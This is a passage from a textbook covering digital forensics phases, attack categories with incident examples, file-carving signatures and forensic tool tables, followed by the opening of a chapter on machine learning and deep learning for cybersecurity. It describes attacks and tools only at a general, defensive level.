tation, Agriculture field, medical systems process the data 
and storage in cloud-based environment. That is one chal-
lenge to investigator to manage accuracy and privacy of evi-
dence. In IoT every device is interconnected with each other 
and stored at least piece of information. The method and 
techniques are required to make  secure interaction between 
the devices [1].

 ➢ Cloud Computing Forensic – Cloud forensics is a branch of 
digital forensics focused on a special approach to cloud anal-
ysis. Service providers have databases servers all over the 
world to host user information. In the case of a cyber inci-
dent, legal authority and the laws regulating the area raise 
specific challenges in cloud forensics process.

 ➢ Mobile OS and Storage Forensic – Recovery of electronic 
data from smartphones, tablets, SIM cards, PDAs, GPSs and 
handheld devices [2].
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According to domain-wise analysis of forensics techniques experts 
handle and investigate different category of devices and application soft-
ware. (Figure 11.2 shows a detailed description of evidence collection 
from different category of digital forensics) [3–6]. There are multiple tools 
combinedly available for multiple forensic steps. Activities depend on per-
sonnel expertise, laboratory conditions, and availability of kits, current 
regulations and contractual obligations.

Often attackers are now using Artificial Intelligence, Machine Learning, 
Deep Learning concepts to circumvent traditional security controls. 
Conventional toolkits are no longer effective over smart criminal activities 
and another challenge for investigators is anti-forensics.

11.2 Phases of Digital Forensics Process

Working of digital forensics process is divided into four main phases: 
Identification, Acquisition, Analysis and Reporting as shown in Figure 
11.3 [7, 8] and described as follows:

11.2.1 Phase I - Identification

Experts are looking for the equipment involved in the execution of the 
crime. These gadgets were then carefully examined to obtain information 
from them. Cyber investigators require a warrant from the police to search 
the digital properties of the victim or attacker. In addition, they need to 
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comply with the laws established for the processing of devices. At this stage 
nvestigators involved in this process are officers from law enforcement, 
network administrator, and Forensics experts. Experts have the responsi-
bility of Identifying and preserving the incident place, storing digital evi-
dence, acquiring data from website and browser, conducting interviews 
to obtain useful information, and preparing documentation of obtained 
information.

11.2.2 Phase II - Acquisition and Collection

Just after the identifying and seizure procedure, experts use forensics tool-
kits to capture the data. Also, experts have well-defined forensic methods 
for the handling of evidence. For example, techniques for gathering neces-
sary documents and digital data. Forensic professionals should have access 
to a secure area where evidence can be collected. They assess if the data 
collected is precise, genuine and accessible. As proof is a vulnerable type 
of data, it can easily be altered and destroyed. It is important that digital 
evidence is treated with care by professionals.

11.2.3 Phase III - Analysis and Examination

The digital forensics investigation must include the evaluation, review and 
description of the proof. The investigator decides how the data is gener-
ated, collects hidden data, matches the pattern, and translates the data into 
a more acceptable size for examination.

11.2.4 Phase IV - Reporting

First, the findings are based on validated data collection methods; second, 
other professional forensics experts should be able to reproduce and vali-
date the same results. All the information obtained during the examination 
process is presented through a written or reported case study. The investi-
gators must summarize all the analytical data from the incident examina-
tion phase, explain the validity of the theory, defend it against criticism 
and competition, and convey the importance of the examination results to 
a court of law and other law enforcement agencies.

Every phase of the digital forensic process requires a different category 
of toolkit understanding and knowledge as shown in Figure 11.4. A foren-
sic expert always trusts authenticated and validated tools [8, 9].
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11.3 Analysis of Challenges and Need of Digital 
Forensics

Nowadays almost every single crime is related to a computer or mobile 
device. As an investigator, digital forensics play an import role to find the 
evidence from mobile and computer system. There are lots of challenges 
and limitations which require the attention to improve the forensic process 
[10, 11].

11.3.1 Digital Forensics Process has following Challenges 

 ➢ Increasing usage of electronic gadgets and internet accessi-
bility and continuous change in technology and version.

 ➢ Hacking and anti-forensic tools are easily available.
 ➢ Physical evidence is not properly handled or acquired so it 

creates difficulty in law enforcement.

Digital Forensic
Process

Identi�cation Acquisition Analysis Reporting

Identity of
evidence

Interview

Documentation

Search Warrant Isolation of 
evidence

Divide data into
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Evidence
relevance

Stored in secure 
place

Geneerate Hash of 
data

Defending in court
of law

Backup of Entire
device

Data generation Presentation of
evidence

Documentated
Case reportData Recovery

Collect the 
evidence

Figure 11.4 Elaboration of digital forensics phases.
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 ➢ Required large storage capacity to store evidence image file.
 ➢ Rapid changes in technology requires latest updates and 

invention in forensics toolkit.

11.3.2 Needs of Digital Forensics Investigation

As digital devices such as computers are vulnerable to criminal attacks, 
the importance of digital forensics is growing. Understanding automated 
forensic techniques can help to collect valuable details that can be used 
to prosecute a criminal who exploits a digital computer or network. Most 
organizations rely heavily on digital devices and the Internet to run and 
develop their business, and they rely on digital devices to process, store 
and recover data.

A cyber-attack is an effort to disrupt or infect computer networks for 
the purpose of extracting or extorting money or for other malicious pur-
poses, such as obtaining the necessary information as shown in Figure 
11.5. Cyber-attacks change computer code, data, or logic by malicious 
code as shown in Figure 11.6, resulting in problematic results that could 
compromise the information or data of companies and make it available to 
cybercriminals [12].

Cyber A Incidents with $1M+ in Reported Losses

120

100

80

60

40

20

0

21 20
25 23

30
25

32
39

66

104 105

2009 2010 2011 2012 201820172016201520142013 2019

Figure 11.5 Cyber-attack incidents with more than $1 million losses [13].
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11.3.3 Other Common Attacks Used to Commit the Crime

 ➢ Intellectual Property (IPR) breaching
 ➢ Industrial espionage
 ➢ Employee/Employer dispute 
 ➢ Financial Fraud
 ➢ Internet misuse and email fraud or crime
 ➢ Image/video/audio forgeries or morphing
 ➢ Child pornography
 ➢ Violation of Indian IT Act of rules and regulations

11.4 Appropriateness of Forensics Tool

Various options are available for forensic investigation, but it’s tough to 
pick the proper tool which will suit investigation needs. The following are 
criteria to decide which tool is better for accurate investigation results.

11.4.1 Level of Skill

Expert technical skill is a key factor when choosing a digital forensic tech-
nique and tools. Many resources require basic skills, while others can 
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40,000
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Figure 11.6 Growth of malware and phishing websites which are used to commit 
criminal activity [14].
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Table 11.1 Criminals and attackers usually perform malicious activity by using 
the following security attack [15, 16].

Attack Activity Example

Hacking Gain physical command and 
control over the system

Ransomware 

Alter functions of hardware 
and software to cause 
destructive activity    

Stuxnet attack on SCADA 
system

Steal financial information Credit card fraud

Steal personal and sensitive 
information

Harassment cases

SQL 
injection

Exploit security vulnerability Valve software industry 
paid out $25,000 after an 
SQL injection attack was 
reported in report_xml.
php 

Attack on less protected SQL 
database system

SQL injection vulnerability 
in Vanilla forum website

Access user login details www.drivegrab.com affected 
due to SQL injection 
attack

Retrieve credit and debit 
card information from 
vulnerable websites

Uber website is exploited for 
login credentials

Cross-site 
scripting

Infect web pages with 
malicious client-side 
program code

XSS in steam react chat client

Inject malicious script on 
unprotected applications 
to steal sensitive or 
confidential information

Reflected XSS in lert.uber.
com

(Continued)
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Table 11.1 Criminals and attackers usually perform malicious activity by using 
the following security attack [15, 16]. (Continued)

Attack Activity Example

Steal FTP 
password

Attack happened at website Many times, attackers use 
dictionary attack or brute 
force attack to find the 
password of around 50 
network protocol such as 
telnet, ftp, http, https, smb 
to bypass the conventional 
security logs.

Steal FTP login details where 
the developer stored 
website login details on 
unprotected server or PC.

Virus 
diffusion

Virus attached with any 
document or file and 
spread rapidly over the 
network

In 2017, Union Bank of India 
affected due to virus-
infected mail attachment 
opened by bank employee.

Virus generally spread 
through network, USB, 
RAM, storage media, 
HDD, emails, infected 
websites and application 
software.

‘Dtrack’ malware use to 
hacked Kudankulam 
Nuclear Power Plant 
(KKNPP)

Logic bomb Insert malicious code into 
application software to 
trigger unauthorised 
activities

Friday the 13th virus only 
attack on that specific date

Denial of 
service 
attack 
(DoS)

Breached availability of 
authenticated service

Mirrai Bot attack

Flooded network to 
consume band width of 
network

DoS attacks specially 
target high-profile web 
server handling financial 
gateways

Phishing Use to extract banking 
credentials such as card 
number, password, etc.

Many bank customers are 
affected like HDFC, Union 
Bank of India, Citibank, 
etc.

Use email spoofing

(Continued)
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Table 11.1 Criminals and attackers usually perform malicious activity by using 
the following security attack [15, 16]. (Continued)

Attack Activity Example

Email 
spamming

Attacker send bulk of emails 
to victim email ID and 
email server crashes, like 
DoS attack.

It violates Customer 
Acceptance User Policy. 
Almost every user is 
affected by this attack.

Session 
hijacking

Unauthorizedly take a 
control over the victim 
website.

Cracker is using this attack 
to ransomware or post 
abusive material on 
website.

Cyber-
stalking

Attacker observes the 
victim’s online activity 
and performs harassment 
or blackmailing incident. 

Cybercriminal harassed 
victim through email, 
chatting, web-site, 
discussion forum, blogs. 

Many times this type of 
attack happened on 
women.

It even leads to suicide 
condition. 

Data 
diddling

Unauthorizedly modify the 
user entered data and 
create confusion between 
users.

Electricity boards in India 
are affected due to data 
diddling by attackers.

Many cyber attackers use 
this technique.

Identity theft Steal the personal details 
and banking information 
and pretended an 
authenticated use 
to perform illegal 
transactions

Credit and debit card fraud

Salami fraud 
attack

Criminals steal bits of 
services or money so it is 
undetected with respect to 
huge volume of data.

Banking fraud like HDFC, 
etc.

(Continued)
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require specialized expertise. The above Table 11.1 shows how cyber crim-
inals perform malicious activity by performing security attack. The golden 
thumb rule is to compare good outcomes against what the tool demands, 
so always select the most effective tool that will simply have the ability to 
function.

11.4.2 Outputs

Tools are not built as equivalent, so outputs can differ even within an 
equivalent group. A few of the toolkits generate data; some tools generate a 
whole report. Data generated by a tool is sufficient to present in a court of 
law but sometimes it requires processing of information.

11.4.3 Region of Emphasis

According to examination procedure tool requirement is dependent on 
what task is to be performed. Like in network analysis Wireshark is used to 
collect log file dumpit used to analyze the log files.

11.4.4 Support for Additional Hardware

Many tools require some additional software support or live-CD to run 
and work with it. Like mobile forensics, a toolkit depends on hardware and 
software version and also requires support from third-party software.

Table 11.1 Criminals and attackers usually perform malicious activity by using 
the following security attack [15, 16]. (Continued)

Attack Activity Example

Privacy 
breaching

Crackers use software, 
download free movies, 
use crack key values to 
use applications, etc., are 
belongs to this category

Pirated downloads such 
movie, song, software may 
consist of attachment of 
malicious code. 

SIM 
swapping

Unauthorizedly gain access 
to victim SIM cards and 
illegally stealing financial 
details.

Hacker blocked victim’s 
SIM card and performed 
transaction via online 
banking so OTP number 
does not go to victim.
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11.5 Phase-Wise Digital Forensics Techniques

11.5.1 Identification

Identification defines possible repositories of sensitive information/evi-
dence as well as key custodians and data locations. Identification process 
must follow the things listed below:

 ➢ Search warrant release from authorized body to seize the 
evidence from incident place as shown in Figure 11.7. 

 ➢ It is important to conduct other forensic procedures on the 
evidence, e.g., Analyzing DNA, fingerprinting, etc.

 ➢ Decide if other forensic paths need to be followed, such as 
giving an Internet service provider (ISP) a conservation 
order, discovering remote storage facilities, acquiring e-mail.

 ➢ Define the essence of the possible proof being pursued (e.g., 
images, spreadsheet applications, documentation, records, 
accounting transactions, etc.

 ➢ It is possible to acquire detailed information (such as email 
IDs, ISP, network configuration details, system logs, pass-
word files, user details, etc.) through interviews with the 
system administrator, customers, and personnel.

Figure 11.7 Evidence bag and faraday bags [15].
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 ➢ Non-computer devices or material could be used in cases of 
crime or theft, such as for banking details, credit/debit cards, 
scans documents, scanners data, and printers and buffering 
information.

 ➢ Professional users can use sophisticated methods to hide or 
destroy evidence (e.g., data encryption, traps, Steganography 
technique).

11.5.2 Acquisition

Digital forensics evidence is fragile and sensitive. As such, the improper 
handling of this evidence will undermine the whole law enforcement oper-
ation. Owing to the vulnerability and volatility of forensic evidence, certain 
protocols must be followed to ensure that the data are not altered during 
collection, transition and storage. These defined procedures detail the data 
handling phases and the protocols to be followed during data acquisition 
as shown in Figure 11.8. Digital information is sensitive and by careless 
processing or inspection, may be quickly distorted, damaged or lost. Even 
the process of opening files will modify the timestamp records, removing 
information about the last time the file was opened. Failure to do so will 
make it unusable or lead to an incorrect inference evidence, including the 
duplication and reconstruction of evidence from any evidence. It includes 
generating a disk image from digital devices, including CD-ROMs, hard 
drives, portable hard drives, laptops, flash drives, gaming consoles, server, 
and other computer technology that can store digital information. Figure 
11.9 shows Disk Partitioning for recovery of tampered and deleted file/
document.

The data acquisition phase creates an image of extracted data without 
missing a single bit. If available evidence is 1TB size then same size of 
information is retrieved. This information extracted from all parts of disk 
drive such as a blank, unused and unallocated space. The same procedure 
applies on a different operating system platform and third-party software. 
Figure 11.10 shows USB drive scanning using Autopsy software to recover 
deleted files [19, 20].

Figure 11.11 shows creation of memory image of hard drive. This image 
file can be examined using Encase or FKT toolkit.

USBD view use to find the information about connected external drives 
or devices to computer or laptops as shown in Figure 11.12. This infor-
mation is useful to analyze and examine the data transmission from one 
device to other.
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Figure 11.8 Procedure of data acquisition.
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Figure 11.9 Disk partitioning for recovery of tampered and deleted file/document [17].
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11.5.3 Analysis

Digital Forensics is examining the evidence which will be acceptable or 
admissible in a court of law.  Analysis is essential for investigating the inci-
dent so digitally recorded evidence must be preserved with proper pre-
caution. Proof must be maintained and no one can alter evidence  during 

Figure 11.10 Sample of recovery of deleted data from USB using autopsy tool.

Figure 11.11 Collection of memory dump using Dumpit software.

Figure 11.12 Collection of information about the USB devices connected to a system.
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the investigation process. For this reason, the best legal outcome would be 
the study of the forensic image or the duplicate of the device as opposed 
to the original device or source. Analysis is the process to answer when, 
what, who, where and why questions related to evidence. This phase is 
Documented with the following details:

 ➢ General information about the incident: Information about 
infrastructure of organization and incident place. Many 
court disputes have also emerged with regard to client lists, 
which can be considered valuable intellectual property like 
dispute in staff, misappropriation of company documents, 
theft or divorce, etc. 

 ➢ Goal analysis: Identify the actors involved on the victim and 
attacking side.

 ➢ Timeline of chain of custody: The time, date data usage log, 
employee behavior on digital platform taken into custody 
with respect to acquiring time and date.

 ➢ Recovered and infected data: Logical data is actual informa-
tion available on evidence device. Such as document files 
(Word, Excel, pdf), images, email, information available 
on social media, temporary deleted files available in trash. 
Deleted or infected files require special software to recover 
them.

 ➢ Data leakage: Illegal transmission of data from one organi-
zation to the other. Use of USB or other storage media or IoT 
devices in company premises.

 ➢ Important keyword: Special keywords used to perform mali-
cious activity like the name of authenticated employees [18].

11.5.3.1 Data Carving

Data carving is a technique to recover the deleted and hidden files from 
digital evidence. Hidden files are available in unused space, slack space, 
lost cluster of a disk. File header is extracted from disk to recover the hid-
den file. This continues until file gets completely extracted while detecting 
end of file. Carving also validates the file to be retrieved from a disk. Data 
carving is not taking any information related to the file system.

In an advanced operating system, without user permission file or docu-
ment is not deleted. It always prompts a message to the user about deletion 
of a file. Such files are recoverable because the space of a deleted file is not 
allocated to another file. In case of tampered and damaged file recovery it 
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is difficult if the file is overwritten. To recover such a file system structure is 
used to identify the file system like FAT, NTFS, etc., and analyses the infor-
mation about deleted file and recovers it like image file, pdf, Word doc, etc. 
File system always stores, recovers and upgrades according to the different 
data presentation format. The following Table 11.2 shows how different file 
systems are analyzed and data is recovered.

Table 11.2 Different file system uses to analyze and recover the file [21].

Operating system File system type Description

Windows FAT, FAT12, 
FAT16, FAT32

Boot-sector, allocation table, storage 
media, files and directory. File 
system size is up to 32GB

NTFS File system size is more than 32GB
Support to encryption and access 

control policies

Linux Ext2, Ext3, Ext4 Support to transactional file write.
It also optimized file allocation 

and file attribute information.

Reiser FS Stored large number of small size 
documents

Searching is easy
Use metadata allocation to search 

any file

XFS IRIX server developed by SGI 
Use in storage media

JFS Mostly use in Linux platform 
It uses in powerful computing 

server systems.

MacOS HFS, HFS+ Use in Mac iPods, iPhones, Apple 
X server, desktop, etc.

Apple Xscan Use in advanced server system

clustered FS Developed from StorNext or 
CentraVision

It is used to store file, folder,  
metadata about file (such 
as view, access and window 
position of file handler).
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11.5.3.2 Different Curving Techniques

The digital forensic investigator is dealing with a big challenge to analyse 
data from different category devices with variety of hardware and software 
platform. Acquired data is always not in a specific format such as sms, 
mails, electronic records, framework log files, and mixed media records. 
Data carving depends on structure and form of information [22]. The fol-
lowing Table 11.3 shows the details of different carving techniques.

Table 11.3 Details of different carving techniques [23, 24].

Type of 
carving Description How to investigate Tools

Header/
footer 
carving

Recover files 
based on 
known 
header and 
footer or 
size of file is 
maximum

• JPEG — “xFFxD8” 
header and “xFFxD9” 
footer

• GIF — 
“x47x49x46x38x37x61” 
header and “x00x3B” 
footer

• PST—“!BDN” header 
and no footer

• Footer is not in file 
format then file size 
limit is used in the 
carving process.

Scalpel
FTK
Encase
Foremost
PhotoRec
Revit
TestDisk
Magic Rescue
F-Engrave

File 
structured 
base 
carving

Uses internal 
layout of 
document

• It consists of header, 
footer, identifier 
string, and size 
detailed information

Content-
based 
carving

Content 
structure 
(MBOX, 
HTML, 
XML) is not 
in proper 
format

• Content characteristics 
are character count, 
text or language 
recognitions, white/ 
black listed data, 
statistical attribute, 
and entropy values.

In following Figure 11.13, JPEG file starts with header FFD8FFE0 which 
is the identification of data or recovery evidence in an image file.

Footer value is ended with FFD9, shown in Figure 11.14, which mention 
the end of .jpeg file and collect evidence.
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11.5.3.3 Volatile Data Forensic Toolkit Used to Collect and Analyze 
the Data from Device

Forensic analysis is also dependent on memory type like volatile and 
non-volatile. Table 11.4 and Table 11.5 describe the functioning of differ-
ent volatile and non-volatile memory analysis tools.

Figure 11.13 Recovery of JPEG image file with detailed information about starting 
header FFD8FFE0 [24].

Figure 11.14 Recovery of JPEG image file with detailed information about starting Footer 
is ended as FFD9 [24].
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Figure 11.15 shows analysis of memory dump collected in WinHex 
tool. WinHex generates a hexadecimal file which uses an editor tool for 
Windows OS. This tool is very important in digital forensic use for recov-
ering deleted data and tampered data.

Figure 11.16 shows Image duplication of a USB using FTK toolkit. The 
FTK Imager is used to recontruct the image or backup of available evi-
dences in hard disk. This image file is stored as single file such as a con-
version of .E01 file into RAW file. The FTK Imager toolkit also recovers 
deleted files.

Table 11.4 Description of volatile data forensic toolkit [25].

Tools Use Outcome

Rootkit 
revealer

Detect information about 
system and user mode 
kernel

Date and time of system, 
volatile storage information 
about RAM.

Process 
explorer

Extract information about 
daemon, running and 
interconnected processes.

Details of user’s logging, 
running processes, loaded 
libraries, use of resources, 
etc.

TCPview Collect network 
configuration details

Information about open port, 
Wi-Fi, Bluetooth, wired 
network, etc.

Blacklight Analyze computer and 
mobile device memory.

Work with Android OS, 
Window, iOS and 
MacOS X.

Detailed information about 
user access logs, content 
search from phone numbers, 
addresses, URLs, etc.

Volatility Analyze runtime system 
using data collected from 
volatile memory.

Available for Windows, 
MacOS X and Linux OS.

Gather information about 
network connection and 
configuration, open socket, 
running process, process 
DLL process, cached registry 
hives, etc.

SANS SIFT Use for perform in depth 
forensic examination.

Support to AFF, dd, E01 
format.

Toolkit consists of:
• Rifiuti: Examine recycle bin
• log2timeline: Generate 

system logs-based timeline
• Scalpel: Perform file carving 
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Table 11.5 Description of non-volatile data forensic toolkit [26].

Tools Use Outcome

SANS SIFT Log2timeline used to generate 
timeline from syslog,

Scalpel for carving files, 
Rifiuti use for examine 
recycle bin.

Compactible with Linux and 
Windows OS

Analyze E01, AFF, dd proof 
format

CrowdStrike 
Crowd 
Response

Consist of directory list, 
active running process, and 
YARA process module.

It scans memory, loaded 
module file and disk files.

Collect contextual records  
and files consist of 
procedure list, scheduled 
task and  Cache records.

The Sleuth Kit 
(+Autopsy)

Complete analysis of file 
system.

Provides timeline analysis, 
hash filtering, keyword 
analysis.

Sleuth Kit is works in Linux 
OS and Autopsy work in 
Windows OS.  

Retrieve and analyze 
information from  SMS, 
call log, contact details, 
chat.

FTK Imager Provide support for mounting 
image of drives.

It creates hash using MD5 or 
SHA1.

It works in Windows OS.

Analyze image of 
complicated  drives, 
hardware support drives, 
CD/DVD, and snapshot 
or memory dump.

dd command It works in Linux OS.
It can erase a disk completely 

so always use carefully.

Cloning of data across 
file/document, device, 
partition, and memory.

CAINE It works in Linux platform.
Provides user pleasant 

GUI, semiautomatic 
documents description, 
Mobile Forensic, Network 
Forensic, Data Recovery, 
etc.

Gives in-depth forensic 
analysis report which 
are  easily editable and 
exportable.

(Continued)
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Table 11.5 Description of non-volatile data forensic toolkit [26]. (Continued)

Tools Use Outcome

Free hex 
editor neo

Search pattern from large 
database system.

Image forensics is also 
analyzing.

Data carving, identify 
low stage document 
modification, collect 
records and retrieve 
hidden files.

Bulk extractor Use for laptop forensics to 
scans a disk, files, or listing 
document and extracts 
information such as 
credit score card number, 
domain, email address, 
URL, and ZIP document, 
etc.

Collect and analyze all 
information available in 
hidden format in textual 
content script format.

DEFT Works in Linux OS, Android 
and IOS.

Provide support to network, 
mobile, database forensics. 
Also support hashing of 
image file.

Provide incident response 
details.

Xplico Work as network forensics 
toolkit and extract data 
from network traffic.

It extract e-mail message 
from POP, IMAP and 
SMTP protocol traffic.

Provide log details from 
HTTP, SIP, IMAP, TCP, 
UDP, SQL and  SQLite 
database system.

Last activity 
view

Extract user activity on 
computer or another 
handle device.

Works on only Windows 200 
and high versions.

Extract an executable 
program, Explorer 
folder, details of crash 
application or device and 
software installer.

DSi USB 
write 
blocker

It prevents write access to the 
USB media.

It avoids alteration of 
available evidence in 
metadata, date and 
timestamp.

(Continued)
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Table 11.5 Description of non-volatile data forensic toolkit [26]. (Continued)

Tools Use Outcome

FireEye 
RedLine

Perform analysis in host 
memory and file system.

Collect and analyze threat 
assessment profile, 
running process, drivers, 
metadata  of file system, 
registry, event logs, 
network, facilities details, 
tasks, and browsing 
history.

PlainSight Recover files such as jpg, png, 
pdf, mov, wav, zip, rar, exe.

Extract data from broswer 
history, carving data, 
gathering information 
about USB media use, 
examine physical memory 
dump, extracting hash of 
password, etc.

Generate result in plaintext 
and HTML format.

Paladin 
forensic 
suite

It is Ubuntu based toolkit. 
There are more than 80 
tools are available.

Works with MacOS, Windows 
Linux platform.

Provide result of image, 
mobile, network, cloud, 
IoT imaging tools, 
malware analysis, social 
media analysis, hashing 
tool, etc. 

Figure 11.15 Analyzing the memory dump collected Dumpit in WinHex tool.
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11.5.4 Report Writing

Digital forensic investigation is more effective when evidence is presented 
in a court of law in an admissible manner. There are different types of doc-
umentation of evidence such as

1. Summary report: Forensic expert written report as step-by-
step execution of investigation process and summarized the 
proof with proper conclusion of incident response. Summary 
report consists of analysis report generated by forensic tool-
kit, which evidence/devices are examined, gathered infor-
mation, etc.

2. Report must be clear and avoid confusion regarding date of 
acquisition, format, heading to document, avoid misguid-
ance to opposite party.

3. Report should be accurate to answer the following question:
 ➢ Image file of all analyzed files
 ➢ Verify the system time during acquiring
 ➢ Operating system details
 ➢ Forensics toolkit details
 ➢ Technical details of forensic hash image

4. The examiner verifies the search contents are not tampered 
during the acquiring and investigation process. Summary 
report gives all detailed information about data received 
to the law enforcement officer; it is the same as found by 
the forensics examiner. In the referred to case, there were 

Figure 11.16 Image duplication of a USB using FTK toolkit.
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supposedly illegal pictures downloaded from the litigant 
by the police; however, no pictures were discovered any-
place on the PC framework. That in itself is fascinating 
from a criminological viewpoint and perceive what the 
proof appeared. 

5. Given a perfect conclusion about how evidence is collected, 
examined and presented with detailed explanation, all 
detailed information should be admissible in a court of law.

11.6 Pros and Cons of Digital Forensics Investigation 
Process

With respect to good forensic expert knowledge and resource availabil-
ity investigation process provides better accuracy and faith on law of 
enforcement.

11.6.1 Advantages of Digital Forensics

 ➢ Avoid alteration of acquired evidence such as mobile phone, 
laptop, etc.

 ➢ Appropriate evidence handling and identification makes 
juristic process more clear and trustworthy.

 ➢ Business organization can use to analyze the network traffic 
identify the attacker’s activities if system get affected.

 ➢ Use to trace criminal activities with instant record of 
criminal.

 ➢ It is used to protect intellectual property, financial transactions. 
 ➢ Digital forensics is used to retrieve, analyze the process, and 

identify actual evidence to present against cybercriminals in 
the court.

11.6.2 Disadvantages of Digital Forensics

 ➢ If digital evidence is tampered or altered during acquisition 
and analysis phase then it is not admissible in a court of law.

 ➢ Digital evidence requires large storage capacity so it increases 
the cost of resources and hardware requirement.

 ➢ Law enforcement officers and technical team have to be well 
trained and have expertise in computer handling.
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 ➢ Process has to generate a trustworthy and authenticated 
report which is easily accepted by a court of law.

 ➢ Lack of resource availability disallows following proper tool-
kit standard. 

 ➢ Due to lack of technical background evidence and device are 
not properly handled by examiner.

11.7 Conclusion

The study of digital evidence poses a variety of primary challenges. Current 
digital forensic methods have the ability to resolve these issues. Also using 
Machine learning and Artificial Intelligence current techniques will pro-
vide better accuracy.  However, much of the study carried out focuses on 
processes and threads in memory forensics. But, aside from these records, 
memory retains a variety of other data that have forensic value when inves-
tigating crimes. Since malware writers have begun to reduce their footprint 
on victims’ hard drives, it is difficult to track the activities conducted by 
these malwares from the examination of hard drives. Improvements in tra-
ditional forensic methodologies have also become important in the inves-
tigation of crimes. In volatile memory forensics method, the instability of 
RAM data leads to different challenges in analyzing and acquiring data. 
This chapter presented an analysis of different forensics techniques and 
toolkit used to investigate the incident and present evidence in a court of 
law. This chapter focused on a survey of how experts can decide and iden-
tify the need of forensics toolkits and the direction of the investigation 
process.  
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Abstract
Machine learning (ML) and deep learning (DL) have both produced overwhelm-
ing interest and drawn unparalleled community interest recently. With a growing 
convergence of online activities and digital life, the way people have learned and 
function is evolving, but this also leads them towards significant security concerns. 
Protecting sensitive information, documents, networks and machine-connected 
devices from unwanted cyber threats is a difficult task. Robust cybersecurity pro-
tection is necessary for this reason. For a problem solution, current innovations 
like machine learning and deep learning is incorporated to cyber threats. This 
paper also highlights the problems and benefits with using ML / DL and presents 
recommendations for research directions for machine learning and deep learning 
in cybersecurity.

Keywords: Cyber protection, deep learning, text mining, intrusion detection, 
machine learning

12.1 Introduction

Currently, Internet-connected systems, such as hardware, software and 
data, can still be secured by cybersecurity from cyber threats. Cybersecurity 
[1] is a combination of products and systems intended to fight against 

*Corresponding author: sabyalnt@gmail.com
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attacks and illegal entry, alteration, or destruction of computers, networks, 
programmers or data. In the cybersecurity community, emerging innova-
tions such as machine learning (ML) [2] and deep learning (DL) [3] are 
used to exploit security capabilities as threats become more sophisticated. 
Cybersecurity is now a motivating topic in the cyber world and focuses 
on the automation of various application fields, such as banking, business, 
medicine as well as many other significant fields. The identification of mul-
tiple network attacks, especially attacks not typically observed, is indeed a 
critical point to be urgently addressed.

This article focuses on early research on cybersecurity developments in 
machine learning (ML) and deep learning (DL) frameworks and explains 
some uses for every approach in cybersecurity activities. In order to track 
cyber threats like attackers and malware, ransomware, spoofing and sys-
tem threat intelligence in ML / DL, the Machine Learning and Deep 
Learning techniques proposed in this research are relevant. Therefore, 
a detailed explanation of the ML / DL methods is given considerable 
importance, and citations to major works are provided to every ML and 
DL method. And the potential risks of cybersecurity using ML / DL are 
addressed.

12.1.1 Protections of Cybersecurity

Cybersecurity is defined as security for the defense of networks, com-
puter-connected computers, services, and data from malicious attacks or 
illegal users using a range of applications. Cybersecurity may generally be 
related to as protection in computer technology. Details may be confiden-
tial information, or other pieces of information for which a disaster results 
in unauthorized users. Safety trends and cybersecurity are at extreme risk 
in the phase of coordinating newly announced innovations. However, in 
order to preserve cybersecurity, it is crucial to defend data and information 
against cyber attacks.

A. Cybersecurity Issues
In the cybersecurity sector, there are many difficulties. The changing 
essence of security [4] issues is among the most daunting aspects of cyber-
security. The approach to preserving cybersecurity has historically been to 
secure the greatest known threats but not protect systems against the worst 
or most risky threats.

Cybersecurity’s main problems are:
Information protection: Application security is referred to as software 

guards to prevent applications from threats resulting from deficiencies 
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in the design, development, implementation, upgrade or maintenance of 
applications by acts committed during the life cycle of operation. Such fun-
damental techniques used for the security of applications are:

1. Verification of an input data.
2. Verification & Approval by User / responsibilities.
3. Application control, application of criteria & strategic plan-

ning of anomalies.

• Protection of information: preserves system from unwanted 
entry to preserve confidentiality. The strategies employed 
are:

1. User recognition, verification & approval.
2. About cryptography [5].

Broader Study
a) Disaster management scheduling: It is a mechanism which requires con-
ducting threat management, developing targets and adjusting contingency 
plans in the case of a catastrophe.

Network protection: Network security requires steps that have been 
used to secure the network’s accessibility, stability, credibility and security. 
Components of defense involve:

1. Bashing-spyware [6] and virus protection.
2. Firewall [7] which protects the system from unauthorized 

access.
3. It is important to recognize rapidly spreading threats and 

virtual private networks (VPNs) [8] together and include 
safe remote support preventive systems for attack.

B. Forms of vulnerability to cybersecurity
Intentional corruption of computers and servers, digital devices, networks 
and data constitutes a cyberattack. Cyber threats utilize false data to restore 
the actual software code, logic or data, culminating in cybercrime-driven 
results. Cyber safety’s ultimate aim is to avoid cyber threats.

Some popular kinds of cyberattacks are listed below:
Ransomware [9] is defined as the type of operation involving an intruder 

breaching device files via encrypted communications and requesting a 
decryption payment.
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Malware [10] is another document or program used, like worms, 
computer viruses, Trojan horses and spyware, to damage a computer 
user.

Worms [11] are more like viruses in that they reproduce themselves.
Social engineering is an assault which focuses on human behavior to 

lure victims into being susceptible to a breach of data protection.
A virus [12] is a piece of malicious content which is installed without the 

user’s consent onto a computer. By linking itself to another machine file, it 
has migrated in many other devices.

When attachments are accessed or opened or loaded, spyware / adware 
may be installed on machines without the user’s permission, infecting the 
device and gathering personal details.

Trojan virus conducts malicious behavior when implemented.
Phishing [13] is a type of deception which can be transmitted via email; 

users are requested to click on links and input private info. The purpose of 
these emails, though, is to collect confidential information, like credit card 
or login details. Phishing emails are becoming advanced and sometimes 
appear like  legitimate information requests.

12.1.2 Machine Learning

Machine learning (ML) enables software programmers to anticipate results 
despite the use of an algorithm or a group of algorithms being specifically 
programmed. Machine learning [14] creates input data reception algo-
rithms and applies data model to estimate a performance by modifying 
outcomes as new knowledge is active. Previous material is undertaken 
below in cybersecurity, focused on machine learning and artificial intel-
ligence [15].

Machine-learning methods are of three types.  They are supervised [16], 
unsupervised, and reinforcement learning. There are two stages of machine 
learning: planning and study. A prototype is practiced in the training phase 
dependent on training examples, whereas the learned approach is built in 
the testing stage to produce the estimate.

A. Supervised Approach
By supervised learning and further broken down into ways of classification 
and regression, a named data set is obtained. The training specimen has 
a separate (classification) or consistent (regression) property, termed as a 
label. The aim of supervised learning would be to acquire from the input’s 
feature space the map of the label. Each arriving specimen is allocated by 
different classifiers to a generalized label. Algorithms in this area include 
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k-closest neighbors, support vector machines, Bayesian classifiers, deci-
sion trees and neural networks.

Process of Gaussian Regression

B. Unsupervised Approach
The defect rate is reduced to near to a minimal error margin required to 
supervise learning with sufficient data. However, in practice, a huge quan-
tity of labeled data is difficult to procure. These have also received more 
attention to learning, defined as unsupervised learning, with unlabeled 
data. The goal of this form of process is to learn a standard representation of 
samples of data which can be clarified through concealed structures or con-
cealed parameters that could be reproduced and studied by Bayesian learn-
ing techniques. Clustering [17] results in a huge concern in unsupervised 
learning by separating samples into various groups depending on similarity. 
